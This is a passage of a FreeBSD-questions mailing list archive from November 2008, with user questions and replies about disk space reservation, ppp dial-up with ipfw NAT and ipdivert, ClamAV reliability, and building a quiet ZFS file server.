2008 13:27:29 +0000 (UTC) (envelope-from jos@webrz.net) Received: from webrz.xs4all.nl (localhost [127.0.0.1]) by webrz.xs4all.nl (Postfix) with ESMTP id 0658C50A4E for ; Sun, 30 Nov 2008 14:27:29 +0100 (CET) Received: from [10.10.10.27] (atlantis.webrz.net [10.10.10.27]) by webrz.xs4all.nl (Postfix) with ESMTP id DE4EE50A4D for ; Sun, 30 Nov 2008 14:27:28 +0100 (CET) Message-ID: <493294C1.2040104@webrz.net> Date: Sun, 30 Nov 2008 14:27:29 +0100 From: Jos Chrispijn User-Agent: Thunderbird 2.0.0.16 (Windows/20080708) MIME-Version: 1.0 CC: FreeBSD-Questions Questions References: <49319A83.6050407@webrz.net> <22771067-1635-4C00-A0EB-4E14569F636C@hughes.net> <4931B00D.2040206@webrz.net> <769E437F-4F3B-44D4-B470-56AD323C6AB3@hughes.net> <49323FB6.3010903@gmail.com> In-Reply-To: <49323FB6.3010903@gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-AV-Checked: ClamAV using ClamSMTP @triton.webrz.net Subject: Re: Temporarily blocking ports X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 13:27:29 -0000 Thank you all for your help! Jos Chrispijn From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 13:40:30 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id BA2071065676 for ; Sun, 30 Nov 2008 13:40:30 +0000 (UTC) (envelope-from tfcheng@gmail.com) Received: from wf-out-1314.google.com (wf-out-1314.google.com [209.85.200.174]) by mx1.freebsd.org (Postfix) with ESMTP id 8D8158FC0C for ; Sun, 30 Nov 2008 13:40:30 +0000 (UTC) (envelope-from tfcheng@gmail.com) Received: by wf-out-1314.google.com with SMTP id 24so2226324wfg.7 for ; Sun, 30 Nov 2008 05:40:30 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:mime-version:content-type:content-transfer-encoding :content-disposition; bh=0CnE/gcsLyQPhhw9gEUD7zT5KawcBSQUOzW5TCJudhg=; b=LCy0UmsXNcraLTpTG8S6cah6m9O3KI2Otzn3GAZeDMR6deHCJSj26SnNkACGo74UBO H6MpWuWbHVs5J0p587XFdG7W+6zW0ySSP9a2cUVmKZJfJpnpbWF1EBYdO4ra8UriVtAf /7+oZJkuuBdhmpC/k3x6Gfw3T6c5p2cP1VGv8= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:mime-version:content-type :content-transfer-encoding:content-disposition; b=i+wpzjQnUWKFB9P3rEg4asb7Tb7SAHdAEM0s7JvCrbQ5jBIz/k3yfoaGWve5bZCrkL JD8O9In/pqSXfEIQtQ+SZLTQ1EOjMwhTCzVkonOwPupH/rP64K2zpa7w/4v8/5kwTPSx RLV0b4E7RsEnYuk5BDueLlUZKBPIx218twUmc= Received: by 10.142.132.2 with SMTP id f2mr4115932wfd.6.1228052430095; Sun, 30 Nov 2008 05:40:30 -0800 (PST) Received: by 10.142.13.18 with HTTP; Sun, 30 Nov 2008 05:40:30 -0800 (PST) Message-ID: Date: Sun, 30 Nov 2008 08:40:30 -0500 From: "Tsu-Fan Cheng" To: FreeBSD MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: does not understand "df -H" X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 13:40:30 -0000 Hi, I have a pretty basic question: when I "df -H" my disk, the numbers cant add up, Filesystem Size Used Avail Capacity Mounted on /dev/ad0c 484G 429G 17G 96% /ad0c there should be more disk space available based on what is shown. why is this like that?? thanks!! TFC From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 14:10:01 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B294D1065673 for ; Sun, 30 Nov 2008 14:10:01 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id E223F8FC08 for ; Sun, 30 Nov 2008 14:10:00 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mAUE9r5E001745; Sun, 30 Nov 2008 15:09:53 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mAUE9rgv001742; Sun, 30 Nov 2008 15:09:53 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Sun, 30 Nov 2008 15:09:53 +0100 (CET) From: Wojciech Puchar To: Tsu-Fan Cheng In-Reply-To: Message-ID: <20081130150919.E1731@wojtek.tensor.gdynia.pl> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: FreeBSD Subject: Re: does not understand "df -H" X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 14:10:01 -0000 > Filesystem Size Used Avail Capacity Mounted on > /dev/ad0c 484G 429G 17G 96% /ad0c > > > there should be more disk space available based on what is shown. why > is this like that?? > man newfs man tunefs you used default options with newfs i think, including 8% space reservation From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 14:28:19 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7D3231065673 for ; Sun, 30 Nov 2008 14:28:19 +0000 (UTC) (envelope-from ptkrisada@gmail.com) Received: from ti-out-0910.google.com (ti-out-0910.google.com [209.85.142.189]) by mx1.freebsd.org (Postfix) with ESMTP id E6A4B8FC17 for ; Sun, 30 Nov 2008 14:28:18 +0000 (UTC) (envelope-from ptkrisada@gmail.com) Received: by ti-out-0910.google.com with SMTP id a1so1322000tib.3 for ; Sun, 30 Nov 2008 06:28:17 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:date:from:to:cc:subject :message-id:mail-followup-to:references:mime-version:content-type :content-disposition:in-reply-to:user-agent; bh=SfPzjnJRUzir5zbSAZBQXMweMOmn6vJlsK1feG86U+c=; b=DX3PbsRwE3LXmutBV9Htt1KeT0WbN13cJGBkg/PtM2knnZAkwW97k2AxiEje7R8ySY sCbYRGcdrUFHmc++ZqR7Axla9F7dWCzu3a0dcJg9d2ynI7vmj29cZZhIc6fIFZLN0/fV GnfPM7YCsRyu5TWvehmjkOTqO3f8kr7AiozPY= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=date:from:to:cc:subject:message-id:mail-followup-to:references :mime-version:content-type:content-disposition:in-reply-to :user-agent; b=mI1XxOX1CVJD1I/0ijJx11r4tijsTLgIob0Dw04nLg/l6LQXL6mpT9RQKsd3eBA9zH vW3bWii4O73e3WzGR4BywpcTPZ1rtA94yEYTWN1GqtII8tlczC2dhQajF61xwkT5G84T 3KLz4wvuv/GbvMVPetfK+itpyYsuFtGfv2HGg= Received: by 10.110.63.6 with SMTP id l6mr14867541tia.50.1228055297674; Sun, 30 Nov 2008 06:28:17 -0800 (PST) Received: from gmail.com ([203.153.172.30]) by mx.google.com with ESMTPS id 22sm9245006tim.7.2008.11.30.06.28.02 (version=TLSv1/SSLv3 cipher=RC4-MD5); Sun, 30 Nov 2008 06:28:15 -0800 (PST) Date: Sun, 30 Nov 2008 21:27:57 +0700 From: Pongthep Kulkrisada To: Ian Smith Message-ID: <20081130142757.GA926@gmail.com> Mail-Followup-To: Ian Smith , freebsd-questions@freebsd.org, Manolis Kiagias , Andrew , Fbsd1 References: <20081123120013.8EDF310657E3@hub.freebsd.org> <20081124012858.J43853@sola.nimnet.asn.au> <20081128163044.GA1850@gmail.com> <20081129222143.R34249@sola.nimnet.asn.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20081129222143.R34249@sola.nimnet.asn.au> User-Agent: Mutt/1.4.2.3i Cc: Andrew , freebsd-questions@freebsd.org, Fbsd1 , Manolis Kiagias Subject: Re: Problem about ppp -nat X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 14:28:19 -0000 Hi all, > set log phase chat connect carrier link ipcp ccp ID0 TUN command I still can't dial using this configuration... # ppp -background isp Loading /lib/libalias_cuseeme.so Loading /lib/libalias_ftp.so Loading /lib/libalias_irc.so Loading /lib/libalias_nbt.so Loading /lib/libalias_pptp.so Loading /lib/libalias_skinny.so Loading /lib/libalias_smedia.so Working in background mode Using interface: tun0 Warning: carrier: Invalid log value Warning: link: Invalid log value Warning: usage: set log [local] [+|-]all|async|cbcp|ccp|chat|command|connect|debug|dns|hdlc|id0|ipcp|lcp|lqm|phase|physical|radius|sync|tcp/ip|timer|tun... Attempting redial Attempting redial Attempting redial I then removed ``carrier'' and ``link''. It always keeps redialing without hearing dialing tone from the modem. So I removed ``connect'' again. The result was still the same. > Try /dev/cuaa0. At least in the olden days, cuad0 was configured more > for dialin rather than dialout. This may? explain the next two lines: It keeps redialing without hearing any tone from the modem. So I switched back to /dev/cuad0. Then dial; now I hear dialing tone from the modem but warning message of ``Child failed (errdead)'' occured then line dropped. And can not connect. I tried it many times. Note that /dev/cuad0 appeared in my /usr/share/examples/ppp/ppp.conf.sample, not /dev/cuaa0. If I remember correctly I changed from cuaa0 to cuad0 when I upgraded from FBSD5.4R to FBSD6.2R. [...] Working in background mode Using interface: tun0 Child failed (errdead) >> set ctsrts off # enables software flow control >> set accmap 000a0000 # comments out these 2 lines for hardware flow control > Not sure why you don't want to use hardware flow control? Is this with > a regular external modem? Anyway, I've always used ctsrts (with cuaa0). 5 year ago, I downloaded this ppp.conf from some web site. But anyway, I did follow your suggestion i.e. hardware flow control. It still doesn't work as ``Child failed''. Actually I don't know so much in this area (flow control). I only code C on *Unix. I rarely do this kind of things e.g. system setup or configuration. And yes, it is a regular external modem. >> add! default HISADDR # Add a (sticky) default route >> [...] >> add 0 0 HISADDR > You probably don't want both those add statements. Try taking out the > first one, and replacing the last one with the add! default HISADDR. I changed it before dialing. > Unsure if you need an 'enable pap' as well, maybe default. Can't hurt. I added it before dialing. But all failed. I think it is probably caused by ipdivert. > Anyway, some extra logging should show you when and how it fails, if it > still does .. Nov 30 17:00:00 bsdhost newsyslog[960]: logfile turned over due to size>100K Nov 30 17:00:16 bsdhost ppp[977]: Phase: Using interface: tun0 Nov 30 17:00:16 bsdhost ppp[977]: Phase: deflink: Created in closed state Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: ident user-ppp VERSION (built COMPILATIONDATE) Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: set device /dev/cuad0 Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: set speed 115200 Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: disable pred1 Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: deny pred1 Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: disable lqr Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: deny lqr Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: set dial ABORT BUSY ABORT NO\sCARRIER TIMEOUT 5 "" AT OK-AT-OK ATE1Q0 OK \dATDT\T TIMEOUT 180 CONNECT Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: set redial 3 20 Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: enable dns Nov 30 17:00:16 bsdhost ppp[977]: tun0: ID0: 0x28389e78 = fopen("/etc/ppp/ppp.conf", "r") Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: set phone 0123456789 Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: set authname myname@myisp.com Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: set authkey ********** Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: set timeout 0 Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: set openmode active Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: accept pap Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: enable pap Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0 0.0.0.0 Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: add! default HISADDR Nov 30 17:00:16 bsdhost ppp[977]: tun0: ID0: 10 = socket(17, 3, 0) Nov 30 17:00:16 bsdhost ppp[977]: tun0: ID0: -1 = write(10, data, 140) Nov 30 17:00:16 bsdhost ppp[978]: tun0: ID0: 0x28389e78 = fopen("/var/run/tun0.pid", "w") Nov 30 17:00:16 bsdhost ppp[978]: tun0: Phase: PPP Started (background mode). Nov 30 17:00:16 bsdhost ppp[978]: tun0: Phase: bundle: Establish Nov 30 17:00:16 bsdhost ppp[978]: tun0: Phase: deflink: closed -> opening Nov 30 17:00:16 bsdhost ppp[978]: tun0: ID0: 0 = uu_lock("cuad0") Nov 30 17:00:16 bsdhost ppp[978]: tun0: ID0: 0 = open("/dev/cuad0", 6) Nov 30 17:00:16 bsdhost ppp[978]: tun0: ID0: 0x28389e78 = fopen("/var/run/cuad0.if", "w") Nov 30 17:00:16 bsdhost ppp[978]: tun0: Phase: deflink: Connected! Nov 30 17:00:16 bsdhost ppp[978]: tun0: Phase: deflink: opening -> dial Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Phone: 1222 Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: deflink: Dial attempt 1 of 20 Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Send: AT^M Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Expect(5): OK Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Received: AT^M^M Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Received: OK^M Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Send: ATE1Q0^M Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Expect(5): OK Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Received: ATE1Q0^M^M Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Received: OK^M Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Send: ATDT1222^M Nov 30 17:00:18 bsdhost ppp[978]: tun0: Chat: Expect(180): CONNECT Nov 30 17:00:49 bsdhost ppp[978]: tun0: Chat: Received: ATDT1222^M^M Nov 30 17:00:49 bsdhost ppp[978]: tun0: Chat: Received: CONNECT 115200^M Nov 30 17:00:49 bsdhost ppp[978]: tun0: Phase: deflink: dial -> carrier Nov 30 17:00:50 bsdhost ppp[978]: tun0: Phase: deflink: /dev/cuad0: CD detected Nov 30 17:00:50 bsdhost ppp[978]: tun0: Phase: deflink: carrier -> login Nov 30 17:00:50 bsdhost ppp[978]: tun0: Phase: deflink: login -> lcp Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: deflink: Disconnected! Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: deflink: lcp -> logout Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: deflink: logout -> hangup Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: deflink: Disconnected! Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: deflink: Connect time: 50 secs: 434 octets in, 295 octets out Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: deflink: 1 packets in, 5 packets out Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: total 14 bytes/sec, peak 109 bytes/sec on Sun Nov 30 17:00:55 2008 Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = unlink("/var/run/cuad0.if") Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = uu_unlock("cuad0") Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: deflink: hangup -> closed Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = socket(17, 3, 0) Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 148 = write(0, data, 148) Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = socket(17, 3, 0) Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 148 = write(0, data, 148) Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = socket(2, 2, 0) Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = ioctl(0, 3223349521, 0xbfbfea5c) Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = ioctl(0, 2149607696, 0xbfbfea5c) Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: bundle: Dead Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = ioctl(7, 2148037723, 0xbfbfeb00) Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: PPP Terminated (normal). Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = socket(2, 2, 0) Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = ioctl(0, 3223349521, 0xbfbfe6bc) Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = ioctl(0, 2149607696, 0xbfbfe6bc) Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = unlink("/var/run/tun0.pid") Nov 30 17:01:06 bsdhost ppp[977]: tun0: Phase: Parent: Child failed (errdead) Nov 30 17:01:06 bsdhost ppp[978]: tun0: Chat: Parent notified of failure > I was under the impression that divert had to be built into the kernel, > but perhaps kldload ipdivert works allright with 7.x. divert(4) of FBSD7.0R stated that ipfw_load="YES" ipdivert_load="YES" are alternatives to ``options IPFIREWALL'' and ``options IPDIVERT''. So I put these 2 lines in /boot/loader.conf. And don't have to compile kernel. Then reboot and dial as described above > Just as an aside, as you're not using any keep-state rules: you should > do NAT before a check-state, so packets match dynamic rules after NAT. Okay I shall. > More specifically the interface, here tun0, must exist before using > divert sockets using that interface. natd(8) says: Yes, I agreed as said earlier. > You've probably noticed that tun0 doesn't go away when you close ppp, so > it's sufficient to have run ppp once before using the divert rule. In > any case I doubt this'd really do any harm (apart from not working :) Yes, I have long noticed it. > There's another way to bring up ppp (so creating tun0) without dialing > out until you're ready; using ppp -auto, with a dial filter rule/s. See > ppp(8) and the examples in /usr/share/examples/ppp/ppp.conf.sample .. > maybe something like: > > set filter dial 0 0 0 icmp src eq 8 > > which will only dial upon seeing an outbound ping packet. You could > specify some address rather than 0 0 if you want to be more specific. It's very good suggestion. But for now I just can't bring up the connection. So I can't test it for now. > Perhaps others can say if it's ok to kldload ipdivert after ipfw these > days? In any case, this could mean coincidence rather than causation. > You've not shown error messages from ppp.log indicating disconnection? Please see above. > Two things you should always check if there are problems passing traffic > through an interface that's apparently 'UP': > # ifconfig # make sure addresses, netmasks, etc make sense. > # netstat -finet -ran # check the default and other routes make sense. Yes I always do that when connected. > I can't say whether it > would get upset if tun0 was specified and didn't yet exist, but expect > it'll just ignore any packets that don't match the specified interface, > though I can't test that here now. Something like this should work: > > # ipfw nat 123 config if tun0 log deny_in same_ports unreg_only reset > # ipfw add [number] nat 123 ip4 from any to any via tun0 > > where 123 is an arbitary number,and ip4 is more specific than 'all' At boot time ... Flush all rules. ipfw: unknown interface name tun0 ipfw: getsockopt(IP_FW_ADD): Invalid argument 00100 check-state ... After presence of tun0 (after dialing) ... # sh /etc/ipfw.rules Flush all rules. ipfw: ipfw_ctl invalid option 56 ipfw: setsockopt(IP_FW_NAT_CFG): Invalid argument ipfw: getsockopt(IP_FW_ADD): Invalid argument 00100 check-state ... > Well you can solve your loading-order problem with ppp -auto and a dial > filter as above. Then you're free to choose between natd and ipfw nat, > or even ppp -nat if you want. Personally I quit using ppp in favour of > mpd4, and that works well for me (yes with natd, though on a 5.5 system) Well I loaded modules (ipfw and ipdivert) at boot time in /boot/loader.conf. 1. So at first these modules are loaded at boot time. 2. Secondly, rc.conf was read, which in turn enabling gateway and ipfw. 3. Then issue ppp command 4. Then natd -interface tun0 5. Then insert these commands to /etc/ipfw.rules as the first two rules. /sbin/ipfw add divert natd all from any to any via tun0 /sbin/ipfw add pass all from any to any then run the ipfw script to load the new rules. sh /etc/ipfw.rules But I just can't pass step 3, unless I unload ipdivert. Please don't suspect my system. It had just been very freshly installed from CDs before I tried everything. And without ipdivert being loaded into the kernel, I can dial and browse any sites and very fast with my /etc/ppp/ppp.conf. Should note a bug? I think I should go on with ipfw nat, but to correct some syntax in /etc/ipfw.rules. Thank you. Pongthep From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 15:28:19 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 581D41065672 for ; Sun, 30 Nov 2008 15:28:19 +0000 (UTC) (envelope-from sahil@tandon.net) Received: from aegis.hamla.org (aegis.hamla.org [206.251.255.39]) by mx1.freebsd.org (Postfix) with ESMTP id 311AC8FC12 for ; Sun, 30 Nov 2008 15:28:18 +0000 (UTC) (envelope-from sahil@tandon.net) Received: from localhost (localhost [127.0.0.1]) by aegis.hamla.org (Postfix) with ESMTP id 803865C78 for ; Sun, 30 Nov 2008 10:29:44 -0500 (EST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=tandon.net; h= x-virus-scanned:in-reply-to:content-disposition:content-type :mime-version:references:reply-to:message-id:subject:from:date: received; s=aegis; t=1228058984; bh=55Savij1L8FIrjaBL9La/Z8cmsxE FTNznSkyMp36030=; b=DGr5dCtVKT2aDfInGJdn0cNao38GVR/iyglaOZ6+ou0m x9Yd0yH8sK7Jb4BP3bs3VnbQp/YKn9iBmDtlrwozm2IM47ToYApCx36Xlh2w+aPL zuJAMtYmalCyD7vapKjfQIngEMR7mjW1vvbUcYFeNe6nY6tiOV3FPTIwp/HIOQ0= Received: from aegis.hamla.org ([127.0.0.1]) by localhost (aegis.hamla.org [127.0.0.1]) (amavisd-new, port 10027) with LMTP id ido9GlJMGGKm for ; Sun, 30 Nov 2008 10:29:44 -0500 (EST) Date: Sun, 30 Nov 2008 10:28:16 -0500 From: Sahil Tandon To: freebsd-questions@freebsd.org Message-ID: <20081130152816.GA49413@shepherd> References: <26face530811221316y5be5bf40ra5c38f389f554ca1@mail.gmail.com> <20081124173650.GA933@ourbrains.org> <20081124193819.GF55491@gizmo.acns.msu.edu> <20081129160329.GA27853@ourbrains.org> <47D7B64C-E783-48C8-A33B-A48AB66DA2E5@boosten.org> <20081129170434.GB27853@ourbrains.org> <493178CE.8070005@boosten.org> <49328C68.5000302@zzz.ee> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <49328C68.5000302@zzz.ee> X-Virus-Scanned: ClamAV version 0.94, clamav-milter version 0.94 on aegis.hamla.org X-Virus-Status: Clean Subject: Re: Unix program that sends email directly using MX record X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: "freebsd-questions@freebsd.org" List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 15:28:19 -0000 Ott K?stner wrote: > Peter Boosten wrote: > >> The most recent vulnerabilities of Postfix are from August and September >> 2008, and I still use it. Also I use (with great happyness) Sendmail on >> two machines, without any problems. The only problem ever caused was by >> clamav. >> > Would be interesting to know, what kind of problems have been there with > CLAMAV? None whatsoever. I have used it for several years on FreeBSD without incident. There are, from time to time, some security vulnerabilities, but they are handled swiftly by both the clamav developers and the security/clamav port maintainer. -- Sahil Tandon From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 15:38:52 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 51AD11065670 for ; Sun, 30 Nov 2008 15:38:52 +0000 (UTC) (envelope-from valentin.bud@gmail.com) Received: from wf-out-1314.google.com (wf-out-1314.google.com [209.85.200.173]) by mx1.freebsd.org (Postfix) with ESMTP id 20A118FC08 for ; Sun, 30 Nov 2008 15:38:51 +0000 (UTC) (envelope-from valentin.bud@gmail.com) Received: by wf-out-1314.google.com with SMTP id 24so2258058wfg.7 for ; Sun, 30 Nov 2008 07:38:51 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=eWc4otiuEpm0TGClF18ygPC3noivwDGl47Cn9g5vrWE=; b=A1k/iYIPCIKrKYrvBrPt7g2SirUlOMenU+rKVBKRX7nnpsDNjfGWkci+oAKKexrT4D lzLw9tmKyCrXmYbhgGU2Bo7mpnBtvJ/XgT2bKMXD9i75xLZR9q1tJCODH5b4WPMYsXPA EGwvPxLqmVRmZh+nl72m0TvpYgZhU9qWsJ8JQ= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=UCyyNGuaJIgQclSr42Nxm1QzfIlXDKLloFd3NxqIe2IFvyECY1w63A9ZwUdnC3jSPc i86EicqazQv0u9WVpQN/wZawmAn+R81XChmdfLkWS4q6PdbrZqJrthxrTkOslxMdfk5S W4Ua1z9jSYj8e0TznxEjKU6cfkPG5b7+BTNZo= Received: by 10.142.163.1 with SMTP id l1mr4123477wfe.263.1228059531675; Sun, 30 Nov 2008 07:38:51 -0800 (PST) Received: by 10.142.180.17 with HTTP; Sun, 30 Nov 2008 07:38:51 -0800 (PST) Message-ID: <139b44430811300738h36c1febahe74d8d992f8820d@mail.gmail.com> Date: Sun, 30 Nov 2008 17:38:51 +0200 From: "Valentin Bud" To: Modulok In-Reply-To: <64c038660811281038ld6e20dcq81a1a98b7e9f7ce@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <139b44430811280548x36915301i766bfb15f162c8ca@mail.gmail.com> <64c038660811281038ld6e20dcq81a1a98b7e9f7ce@mail.gmail.com> Cc: freebsd-questions@freebsd.org Subject: Re: 5 TB server X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 15:38:52 -0000 On Fri, Nov 28, 2008 at 8:38 PM, Modulok wrote: > On 11/28/08, Valentin Bud wrote: >> Hello community, >> >> I have to come up with a solution for a company that has as we speak >> 4 TB of data spread among 3 computers with lots of HDDs. Of course >> i've recommend >> them to buy a server for that storage capacity and for data organization. >> >> I thought of going on the ZFS way (on FreeBSD of course) with some >> raidz. One of the problems >> is that the server will stay in their office so it has to be quite silent. >> >> I honestly don't know what hardware to look for so if you have any >> suggestions >> i'm more than open to hear them. >> >> a great day, >> v > > I'm not sure what kind of fans everyone here is running, with all > these complaints about noise... > > For a single server sitting in an office, use a regular desktop case > with some good 12cm fans. Get a few fan-speed-controllers to reduce > the RPMs a little and you can have a computer with several disks in it > that is damn near silent, even when it is sitting right next to you. > Put a good power supply unit, with a slow 14cm fan in it and you can't > hear the computer at all. As far as heat goes, a well ventilated > aluminum desktop case disperses heat very, very well, permitting the > reduction of fan speed. > > I have a server built this way sitting not 2 feet from me, which > contains 5 hard drives providing 24/7 file storage via samba for the > entire local area network, and unless one puts their ear against the > case, it's difficult to tell if it is even running...even under heavy > load. (This is in a quiet room.) As far as heat goes, the case blows > out room temperature air and all components are cold to the touch. > Built for around...$800-$900 USD. (I'm not exactly sure on the figure, > as some components have been upgraded over the years.) > > Case: Lian Li PC-7B Plus II ATX Mid Tower. Best case ever. Cheap. > Simple. Roomy. Very well ventilated. I now personally own 4 of these > cases. No regrets. Ditch the factory fans though. Replace them with a > few Zalman 12cm fans. These usually come with a resistor so you can > reduce the fan speed (and noise). > > Processor: Whatever. I went with a cheap dual core Opteron at the time. > Board: I usually stick with Tyan. whatever fits your processor, your > budget and provides you with enough SATA headers. For a simple file > server, stick with a lower-end single-socket board. Unless you plan to > do some serious number crunching or have a lot of money to spend, you > don't need the extra processors sitting around doing nothing, with > their fans making noise. > > Memory: Start with a few (say 2) 